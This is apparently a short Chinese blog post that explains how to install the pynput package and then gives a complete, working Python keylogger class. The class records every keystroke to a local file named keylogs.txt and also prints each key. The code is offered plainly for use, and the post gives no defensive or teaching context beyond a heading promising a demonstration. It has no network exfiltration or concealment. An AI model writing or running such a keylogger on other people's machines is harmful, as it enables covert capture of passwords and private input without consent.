安装pynput包

pip install pynput

 

代码

from pynput import keyboard

class KeyLogger():
    def __init__(self, filename: str = "keylogs.txt") -> None:
        self.filename = filename

    @staticmethod
    def get_char(key):
        try:
            return key.char
        except AttributeError:
            return str(key)

    def on_press(self, key):
        print(key)
        with open(self.filename, 'a') as logs:
            logs.write(self.get_char(key))

    def main(self):
        listener = keyboard.Listener(
            on_press=self.on_press,
        )
        listener.start()

if __name__ == '__main__':
    logger = KeyLogger()
    logger.main()
    input()

 

效果展示

 

posted on 2023-05-11 14:42  yc-limitless  阅读(34)  评论(0编辑  收藏  举报